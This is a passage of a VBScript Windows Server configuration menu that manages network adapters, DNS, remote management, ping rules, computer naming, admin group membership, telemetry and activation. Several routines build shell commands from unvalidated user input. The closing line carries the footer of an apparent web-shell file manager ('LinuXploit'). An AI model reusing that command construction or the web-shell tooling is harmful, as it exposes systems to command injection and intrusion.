
        if nic.IPenabled then

            DisplayIP = nic.IPAddress(0) 

        else

            DisplayIP=L_Msg002_Text

        end if

        wscript.echo

        

        'Adjust spacing for non EN-US 

        if instr(L_Msg075_Text,"Index#") then 	

            wscript.StdOut.Write "  " & nic.Index & VBTab & DisplayIP & VBTab & left(nic.Description,54)	

        else

            wscript.StdOut.Write "  " & nic.Index & VBTab & VBTab & DisplayIP & VBTab & left(nic.Description,47)

        end if

    Next

    

    wscript.Echo

    do

        wscript.Echo

        wscript.StdOut.Write L_Msg076_Text

        SelectedNIC = Wscript.StdIn.ReadLine

    loop until LegalNicSelected(SelectedNIC) or SelectedNIC = ""

    

            

    if SelectedNIC="" then

            'Do nothing, Cancel was selected, return to main menu

    else

        'Set the MgmtNIC to a legal value		

        MgmtNIC=SelectedNIC				

            

        do 

            wscript.echo 

            wscript.echo L_Msg072_Text

            wscript.echo L_Msg077_Text

            wscript.echo L_Msg072_Text

            wscript.echo

            Set nics = objWMIService.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration where IPenabled=TRUE")					

            Set objNetAdapter = GetObject("winmgmts:Win32_NetworkAdapterConfiguration=" & MgmtNIC)

            

            'Display NIC info (IP, DHCP, DNS)			

            For Each nic in nics

              if nic.index=cint(MgmtNIC) then		

                if nic.IPenabled then

                    DisplayIP = ""

                    DisplayIP = nic.IPAddress(0) 

                    DisplayIPv6 = ""

                    DisplayIPv6 = nic.IPAddress(1)

                else

                    DisplayIP=L_Msg002_Text

                end if

                

                wscript.echo

                wscript.echo L_Msg078_Text & vbTab & vbTab & MgmtNIC

                wscript.echo L_Msg079_Text & vbTab & vbTab & nic.Description

                wscript.echo L_Msg080_Text & vbTab & vbTab & DisplayIP & vbTab & DisplayIPv6

                wscript.echo L_Msg139_Text & vbTab & vbTab & nic.IPSubnet(0)

                wscript.echo L_Msg081_Text & vbTab & vbTab & nic.DHCPenabled

                

                on error resume next

                DefaultGateway= cstr(nic.DefaultIPGateway(0))

                if err<>0 then

                    DefaultGateway = ""

                end if 

                on error goto 0	



                on error resume next

                DisplayIPv6Gateway = cstr(nic.DefaultIPGateway(1))

                if err<>0 then

                    DisplayIPv6Gateway = ""

                end if 

                on error goto 0							

                

                wscript.echo L_Msg140_Text & vbTab & vbTab & DefaultGateway	& vbTab & DisplayIPv6Gateway

                

                on error resume next

                primarydns= cstr(nic.DNSServerSearchOrder(0))

                if err<>0 then

                    primarydns=""

                end if 

                altdns= cstr(nic.DNSServerSearchOrder(1))

                if err<>0 then

                    altdns=""

                end if 

                on error goto 0

                

                wscript.echo L_Msg082_Text & vbTab & primarydns

                wscript.echo L_Msg083_Text & vbTab & altdns

    

              end if

            Next

            

            'Display Network Adapter Options								

            wscript.echo

            wscript.echo L_Msg084_Text	

            wscript.echo L_Msg085_Text

            wscript.echo L_Msg086_Text

            wscript.echo L_Msg087_Text

            wscript.echo

            wscript.echo

            do

                wscript.StdOut.Write L_Msg088_Text

                NIC_option = Wscript.StdIn.ReadLine	

            loop until (left(NIC_option,1)>= "1" and left(NIC_option,1) <= "4") or NIC_option=""			



            Select Case NIC_option

            

                Case "1"  ' Set NIC IP to DHCP or Static

                            

                    '---- Set IP for Selected NIC

                    wscript.echo	

                    wscript.echo

                    wscript.StdOut.Write L_Msg089_Text

                    IPtypeSelection = Wscript.StdIn.ReadLine						 

                

                    Select Case ucase(IPtypeSelection)

                                        

                        Case ucase(L_Msg131_Text)	'Set Static IP

        

                            wscript.echo

                            wscript.echo L_Msg090_Text

                            do

                                wscript.StdOut.Write L_Msg091_Text

                                ip_address = wscript.StdIn.ReadLine

                            loop until CheckStaticIP(ip_address)

                        

                            

                            If IdentifyIPv4(ip_address) then 

                            

                                'Get Netmask

                                wscript.StdOut.Write L_Msg092_Text & DefaultNetmask(ip_address) & L_Msg093_Text

                                netmask = wscript.StdIn.ReadLine

                                if netmask="" then netmask=DefaultNetmask(ip_address)

                                

                                ' Get IPv4 Gateway

                                do

                                    wscript.StdOut.Write L_Msg094_Text

                                    gateway = wscript.StdIn.ReadLine	

				    if gateway="" then exit do

                                loop until CheckStaticIP(gateway)

                                

                            else

                                ' Get IPv6 Gateway

                                

                            end if

                                    

                                                

                            'Set the IP address info

                            strIPAddress = Array(ip_address)

                            strSubnetMask = Array(netmask)

                            strGateway = Array(gateway)

                            strGatewayMetric = Array(1)

                         

                            wscript.echo L_Msg095_Text

                            

                            'clear out all gateway entries first

                            arrClearGateways = Array()

                            errGateways = objNetAdapter.SetGateways(arrClearGateways, null)

                                                         

                            objNetAdapter.ReleaseDHCPLease

                            errEnable = objNetAdapter.EnableStatic(strIPAddress, strSubnetMask)

                            errGateways = objNetAdapter.SetGateways(strGateway, strGatewaymetric)

                            

                            If errEnable=0 Then

                                Set objNetAdapter = GetObject("winmgmts:Win32_NetworkAdapterConfiguration=" & MgmtNIC)	

                            Else

                                msgbox L_Msg096_Text & vbCrLF & errEnable,vbCritical,L_Msg097_Text

                                wscript.echo L_Msg096_Text 

                            End If 

                            

                        Case ucase(L_Msg132_Text)   'Set DHCP

                            wscript.echo

                            wscript.echo L_Msg098_Text

                                        

                            'clear out all gateway entries first

                            arrClearGateways = Array()

                            errGateways = objNetAdapter.SetGateways(arrClearGateways, null)			

                                                        

                            errEnable = objNetAdapter.EnableDHCP()

                            objNetAdapter.RenewDHCPLease

                            

                            If errEnable = 0 Then

                                Set objNetAdapter = GetObject("winmgmts:Win32_NetworkAdapterConfiguration=" & MgmtNIC)					 	

                            Else

                                msgbox L_Msg096_Text,vbCritical,L_Msg097_Text

                                wscript.echo L_Msg096_Text

                            End If 				

                                        

                        Case Else

                            'Cancel

                            

                    end Select

                            

                    

                Case "2"   ' Change DNS

                

                        wscript.echo L_Msg099_Text		

                        wscript.echo

                        wscript.StdOut.Write L_Msg100_Text

                        DNSServer = wscript.StdIn.ReadLine	

                        

                        strDNSServer=Array(DNSServer)

                        

                        if DNSServer="" then

                            'Cancelled	

                        else

                            'Set Preferred DNS

                            errDNS = objNetAdapter.SetDNSServerSearchOrder(strDNSServer)

                            

                            If errDNS=0 Then

                                'Preferred DNS successfully set, set alternate

                                msgbox L_Msg101_Text,vbInformation,L_Msg097_Text

                                wscript.StdOut.Write L_Msg102_Text

                                altDNSServer = wscript.StdIn.ReadLine	

                                strDNSServer=Array(DNSServer,altDNSServer)

                            

                                if altDNSServer="" then

                                    'skip entering alternate DNS

                                else

                                    errDNS = objNetAdapter.SetDNSServerSearchOrder(strDNSServer)

                                    If errDNS=0 Then

                                    'Alternate DNS successfully set

                                        msgbox L_Msg103_Text,vbInformation,L_Msg097_Text

                                        wscript.echo L_Msg103_Text

                                    else

                                        msgbox L_Msg104_Text,vbCritical,L_Msg097_Text

                                        wscript.echo L_Msg104_Text

                                    end If 	

                                end if		

                            else

                                msgbox L_Msg105_Text,vbCritical,L_Msg097_Text

                            end If  		

                        end if		

                        

                        

                        

                Case "3"   ' Remove DNS	server settings

                

                        'clear out all entries and reset

                        arrDNSServers = Array()

                        errDNS = objNetAdapter.SetDNSServerSearchOrder(arrDNSServers)

                        If errDNS=0 Then

                            'DNS successfully cleared

                            msgbox L_Msg106_Text,vbInformation,L_Msg097_Text

                            wscript.echo L_Msg106_Text			

                        else

                            msgbox L_Msg107_Text,vbCritical,L_Msg097_Text

                            wscript.echo L_Msg107_Text

                        end If 	

                    

                Case "4" ' return to Main Menu

                

                Case else 	

            end Select

            

        Loop Until NIC_option="4" or NIC_option=""

    end if

        

end sub



Sub ConfigureRemoteManagement()



  do

    wscript.echo 

    wscript.echo L_Msg072_Text 

    wscript.echo L_Msg179_Text 

    wscript.echo L_Msg072_Text

    wscript.echo

    wscript.echo

    wscript.echo



    resultGet=oShell.Run("configure-smremoting.exe -get",7,TRUE)



    if resultGet=0 or resultGet=2 then

        wscript.echo L_Msg210_Text

    else

        if resultGet=1 or resultGet=3 then

            wscript.echo L_Msg211_Text

        else

            wscript.echo L_Msg212_Text

        end if

    end if



    wscript.echo

    wscript.echo L_Msg157_Text ' 1 Enable Remote Management

    wscript.echo L_Msg158_Text ' 2 Disable Remote Management

    wscript.echo L_Msg188_Text ' 3 Ping

    wscript.echo

    wscript.echo L_Msg161_Text ' 4 Return

    wscript.echo

    

    wscript.StdOut.Write L_Msg056_Text

    RemoteOption = Wscript.StdIn.ReadLine	



    select case RemoteOption

        

        Case "1"	' Enable Remote Management

            if resultGet=2 or resultGet=3 then

                msgbox L_Msg213_Text,,L_Msg179_Text

            else

                wscript.echo

                wscript.echo L_Msg204_Text

            

                'Enable Remote Management

                result=oShell.Run("configure-smremoting.exe -enable",7,TRUE)



                if result=0 then 

                    msgbox L_Msg206_Text,,L_Msg179_Text

                else

                    msgbox L_Msg207_Text,,L_Msg179_Text

                end if

            end if



        Case "2"	' Disable Remote Management

            if resultGet=2 or resultGet=3 then

                msgbox L_Msg213_Text,,L_Msg179_Text

            else

                wscript.echo

                wscript.echo L_Msg205_Text

            

                'Enable Remote Management

                result=oShell.Run("configure-smremoting.exe -disable",7,TRUE)



                if result=0 then 

                    msgbox L_Msg208_Text,,L_Msg179_Text

                else

                    msgbox L_Msg209_Text,,L_Msg179_Text

                end if

            end if



        Case "3"  'Allow/Disallow Ping

            wscript.echo

            

            'Allow Ping?

            confirm = msgbox(L_Msg189_Text,VBYesNo,L_Msg179_Text) 

            if confirm=vbYes then

                ' Allow Ping

                result=oShell.Run("netsh firewall set icmpsetting 8",7,TRUE)			

                if result=0 then 

                    wscript.echo L_Msg190_Text 'Successfully allow ping

                    msgbox L_Msg190_Text,,L_Msg179_Text

                else

                    wscript.echo L_Msg175_Text  'Failure

                    msgbox L_Msg165_Text,vbCritical,L_Msg179_Text

                end if				

            else 

                'Disallow Ping

                result=oShell.Run("netsh firewall set icmpsetting 8 disable",7,TRUE)

                if result=0 then 

                    wscript.echo L_Msg191_Text   'Disallow Ping successfully set

                    msgbox L_Msg191_Text,,L_Msg179_Text

                else

                    wscript.echo L_Msg175_Text  'Failure

                    msgbox L_Msg165_Text,vbCritical,L_Msg179_Text

                end if

            end if		

            

        Case else



    end Select



  loop while RemoteOption="1" or RemoteOption="2" or RemoteOption="3"



end sub







sub ChangeComputerName()



    Wscript.echo L_Msg034_Text

    Wscript.echo 



    wscript.StdOut.Write L_Msg033_Text

    NewComputerName = Wscript.StdIn.ReadLine

        

    if NewComputerName<>"" then

                                    

        wscript.echo L_Msg035_Text

        wscript.echo 

        

        InDomain = GetDomainStatus()

    

        if not InDomain then

          'In workgroup 		  			 				  	

           result = oShell.Run("netdom renamecomputer %computername% /force /NewName:" & NewComputerName,7,TRUE)			  											  

        else

          'In Domain

          wscript.StdOut.Write L_Msg026_Text

          domainuser = Wscript.StdIn.ReadLine		  

          result = oShell.Run("netdom renamecomputer %computername% /force /NewName:" & NewComputerName & " /userd:" & domainuser & " /passwordd:*",1,TRUE)

        end if



        if result=0 then

           confirm = msgbox(L_Msg028_Text & vbCRLF & L_Msg029_Text, VBYesNo,L_Msg030_Text)

           if confirm=vbYes then oShell.Run "shutdown /r /t 0",1

        else

           DomainAccessErrorMsg(result)				

        end if



    end if



end sub



sub JoinWorkgroup

    group_type= L_Msg023_Text

    

    wscript.StdOut.Write L_Msg125_Text

    NewGroupName = Wscript.StdIn.ReadLine

        

    wscript.echo

    wscript.echo L_Msg126_Text & NewGroupName & L_Msg127_Text	 

    

    targetstr = "Wmic computersystem where name=" & chr(34) & "%computername%" & chr(34) & " call joindomainorworkgroup name=" & chr(34) & NewGroupName & chr(34)

            

    returncode = oShell.Run(targetstr,7,TRUE)

    if returncode<>0 then 

        msgbox L_Msg108_Text,VBCritical,L_Msg023_Text

    else

        msgbox L_Msg109_Text & NewGroupName,vbInformation,L_Msg023_Text

    end if

end sub



Sub GetInitialStatusValues()

    

    wscript.echo L_Msg111_Text

    wscript.echo



    on error resume next

    

    'Determine if Hyper-V Server SKU

    HVS_SKU= VerifyHVS()

    

    ' Get update settings status

    GetUpdateSettings Update_schedule, Update_schedule_descr

    

    Set nics = objWMIService.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration where IPenabled=TRUE")

    

    ' Try to select the first NIC with an active IP	

    if MgmtNIC="" then		

        DisplayIP = L_Msg001_Text		

        for each n in nics

            MgmtNIC= n.index

            Set objNetAdapter = GetObject("winmgmts:Win32_NetworkAdapterConfiguration=" & MgmtNIC)

            exit for

        next	

    end if	



    if MgmtNIC="" then

        'Display no active NIC message

        DisplayIP = L_Msg003_Text

        Msgbox DisplayIP,vbExclamation,L_Msg004_Text

    end if

    



End Sub







function GetCmdLineOutput()



    Set objStdOut = objWshScriptExec.StdOut

    GetCmdLineOutput = objStdOut.ReadAll



end function





Function CheckStaticIP(ip)



    on error resume next

    IPstart = left(ip,instr(ip,".")-1)

    on error goto 0

    

    if IPstart>=1 and IPstart<224 then 

    	CheckStaticIP=TRUE

    else

    	msgbox L_Msg112_Text,vbCritical,L_Msg097_Text

    	CheckStaticIP=FALSE

    end if

    

    if IPstart=127 then 

    	CheckStaticIP=FALSE

    	msgbox L_Msg113_Text,vbCritical,L_Msg097_Text

    end if

    

end function



Function IdentifyIPv4(ip)

    IdentifyIPv4= TRUE



end function





Function DefaultNetmask(ip)



    DefaultNetmask=""

    on error resume next

    IPstart = left(ip,instr(ip,".")-1)

    on error goto 0

    



    if IPstart>=0 and IPstart <127 then 

        DefaultNetmask="255.0.0.0"

    end if

    

    if IPstart>127 and IPstart <224 then 

        DefaultNetmask="255.255.255.0"	

    end if





end function





Sub DomainAccessErrorMsg(result)

    Select Case result

        Case 5 strErrorDescription = L_Msg114_Text

        Case 87 strErrorDescription = L_Msg115_Text

        Case 110 strErrorDescription = L_Msg116_Text

        Case 1323 strErrorDescription = L_Msg117_Text

        Case 1326 strErrorDescription = L_Msg118_Text

        Case 1355 strErrorDescription = L_Msg119_Text

        Case 2224 strErrorDescription = L_Msg120_Text

        Case 2691 strErrorDescription = L_Msg121_Text

        Case 2692 strErrorDescription = L_Msg122_Text

        Case else strErrorDescription = L_Msg123_Text

    End Select				

    msgbox strErrorDescription,vbCritical,L_Msg022_Text	



end sub





Function GetDomainStatus()



    Set colItems = objWMIService.ExecQuery( "Select * from Win32_ComputerSystem", , 48 )

    

    For Each objItem in colItems

        pcname = objItem.Name

        strComputerDomain = objItem.Domain 

        

        If objItem.PartOfDomain Then

            group_type= L_Msg022_Text

            groupname= strComputerDomain

            GetDomainStatus=TRUE

        Else

            group_type= L_Msg023_Text

            groupname= strComputerDomain

            GetDomainStatus=FALSE      

        End If

    Next



end Function



Function VerifyHVS()

    on error resume next

    OStype = oShell.RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\EditionID")

    on error goto 0



    if Instr(OStype,"ServerHyper") then 

        VerifyHVS=TRUE 

    else

        VerifyHVS=FALSE

    end if



end Function





Sub GetUpdateSettings(ByRef updateSchedule, ByRef updateScheduleDescription)

    Dim NoAutoUpdateVal

    Dim AUOptions

    on error resume next



    updateSchedule=""

    updateScheduleDescription=""



    ' If NoAutoUpdate is set then we are set to Manual

    NoAutoUpdateVal = 0 ' Default in case reg value is not present

    NoAutoUpdateVal = oShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\NoAutoUpdate")    



    if NoAutoUpdateVal = 1 then

        updateSchedule = L_Msg048_Text

        updateScheduleDescription = L_Msg049_Text

    else

        'We look at the relevant AUOptions registry entry to determine behaviour

        AUOptions = 0 ' Default in case reg value is not present

        AUOptions = oShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\AUOptions")

        Select Case AUOptions

            Case 3

                updateSchedule = L_Msg219_Text

                updateScheduleDescription = L_Msg223_Text

            Case 4

                updateSchedule = L_Msg045_Text

                updateScheduleDescription = L_Msg046_Text

            Case Else

                updateSchedule = L_Msg220_Text

                updateScheduleDescription = L_Msg224_Text

        End Select

    end if



End Sub





sub AddToAdminGroup()

    wscript.echo L_Msg037_Text



    Set colAccounts = objWMIService.ExecQuery _

        ("Select * From Win32_Group Where Domain = '" & pcname & "' AND SID = 'S-1-5-32-544'")

                

    For Each objAccount in colAccounts

        admingroupname = objAccount.Name

    Next	

            

    targetstr= "net localgroup " & admingroupname & " /add " & AddUserAcct		

    RunShowOutput(targetstr)

end sub



sub RunShowOutput(strCommand)

    Set objWshScriptExec = oShell.Exec("cmd /C " & strCommand & " 2>&1")

    strStdOut = objWshScriptExec.stdout.readall

    msgbox strStdOut,,L_Msg040_Text

    Set objWshScriptExec=nothing

end sub





function TelemetryStringForSetting(telemetrySetting)

    dim strTelemetryString



    select case telemetrySetting

        case 0

            strTelemetryString = L_Msg226_Text

        case 1

            strTelemetryString = L_Msg227_Text

        case 2

            strTelemetryString = L_Msg228_Text

        case 3

            strTelemetryString = L_Msg229_Text

        case else

            strTelemetryString = L_Msg215_Text

    end select			

	    

    TelemetryStringForSetting = strTelemetryString

end function



sub CheckTelemetrystatus()

    'Check for policy

    on error resume next

    Telemetry_Value1= oShell.RegRead("HKLM\Software\Policies\Microsoft\Windows\DataCollection\AllowTelemetry")

    on error goto 0	



    if Telemetry_Value1="" then

        'Check for local

        on error resume next

        Telemetry_Value2= oShell.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection\AllowTelemetry")

        if Telemetry_Value2="" then Telemetry_Value2=-1

        on error goto 0



        Telemetry_Status= TelemetryStringForSetting(Telemetry_Value2)

    else

        Telemetry_Status= TelemetryStringForSetting(Telemetry_Value1)

    end if

end sub



sub SetTelemetryValue(telemetryValue)

    oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection\AllowTelemetry", telemetryValue, "REG_DWORD"

end sub



sub CheckRemoteManagementStatus()

    resultGet=oShell.Run("configure-smremoting.exe -get",0,TRUE)



    if resultGet=0 or resultGet=2 then

        RemoteManagementStatus= L_Msg145_Text 'Enabled

    else

        if resultGet=1 or resultGet=3 then

            RemoteManagementStatus= L_Msg146_Text 'Disabled

        else

            RemoteManagementStatus= L_Msg215_Text 'Unknown

        end if

    end if

end sub







sub DisplayTelemetrydialog()

        dim i

        dim bSettingDone

        dim strOptionSelection

        dim telemetryMenuSelection



        ' Check for GP override

        on error resume next

            Telemetry_Value1= oShell.RegRead("HKLM\Software\Policies\Microsoft\Windows\DataCollection\AllowTelemetry")

        on error goto 0





	if HVS_SKU then 

          'Show Hyper-V Server Telemetry text

          confirm = msgbox(L_Msg217_Text & vbCrLf & vbCrLf & L_Msg194_Text & vbCrLf & vbCrLf & L_Msg195_Text & vbCrLf & vbCrLf & L_Msg218_Text & vbCrLf & vbCrLf & L_Msg199_Text,vbYesNo+vbDefaultButton2,L_Msg200_Text ) 

	else

	  'Show Windows Server Telemetry text

	   confirm = msgbox(L_Msg193_Text & vbCrLf & vbCrLf & L_Msg194_Text & vbCrLf & vbCrLf & L_Msg195_Text & vbCrLf & vbCrLf & L_Msg196_Text & vbCrLf & vbCrLf & L_Msg199_Text,vbYesNo+vbDefaultButton2,L_Msg200_Text ) 

	end if



        if Telemetry_Value1<>"" then

            msgbox L_Msg202_Text,,L_Msg200_Text

        else 

            if confirm=vbYes then 	

                ' Display choices and read user choice

                wscript.echo

                wscript.echo L_Msg225_Text

                wscript.echo

                for i = 0 to TelemetryCountSettings-1

                    wscript.echo cstr(i+1) & ") " & TelemetryStringForSetting(i)

                next

                bSettingDone = FALSE

                do

                    wscript.echo

                    wscript.StdOut.Write L_Msg230_Text 'Enter new telemetry setting (Blank=Cancel):

                    strOptionSelection = Wscript.StdIn.ReadLine



                    if strOptionSelection <> "" then

                        ' If a valid selection then change telemetry setting

                        telemetryMenuSelection = -1

                        on error resume next

                        telemetryMenuSelection = cint( strOptionSelection )

                        on error goto 0

                        if telemetryMenuSelection <> -1 and telemetryMenuSelection >=1 and telemetryMenuSelection <= TelemetryCountSettings then

                            ' Valid menu selection

                            ' Telemetry values are 0-based

                            SetTelemetryValue telemetryMenuSelection-1

                            bSettingDone = TRUE

                        end if

                    end if

                loop until bSettingDone or strOptionSelection = "" 

            end if

        end if

        

end sub



Sub ActivateInstall()

        

do	

    wscript.echo 

    wscript.echo L_Msg201_Text

    wscript.echo

    wscript.echo L_Msg150_Text '1) Display License info

    wscript.echo L_Msg151_Text '2) Activate Windows

    wscript.echo L_Msg153_Text '3) Install Product key		

    wscript.echo L_Msg155_Text '4) Exit

    wscript.echo

    wscript.StdOut.Write L_Msg056_Text 'Enter selection:

    OptionSelection = Wscript.StdIn.ReadLine

    

    Select case OptionSelection

        Case "1"

            'Display License information

            oShell.Run ("%ComSpec% /K cscript %windir%\system32\slmgr.vbs /dli")

    

        Case "2"

            'Activate Windows

            oShell.Run ("%ComSpec% /K cscript %windir%\system32\slmgr.vbs /ato")	



        Case "3"

            'Install Product key

            pid= inputbox(L_Msg216_Text, L_Msg216_Text)

            if pid <> "" then

                oShell.Run ("%ComSpec% /K cscript %windir%\system32\slmgr.vbs /ipk " & pid)

            end if

                        

        Case else	

            

    end select



loop Until OptionSelection="4"	

            

end sub

Youez - 2016 - github.com/yon3zu
LinuXploit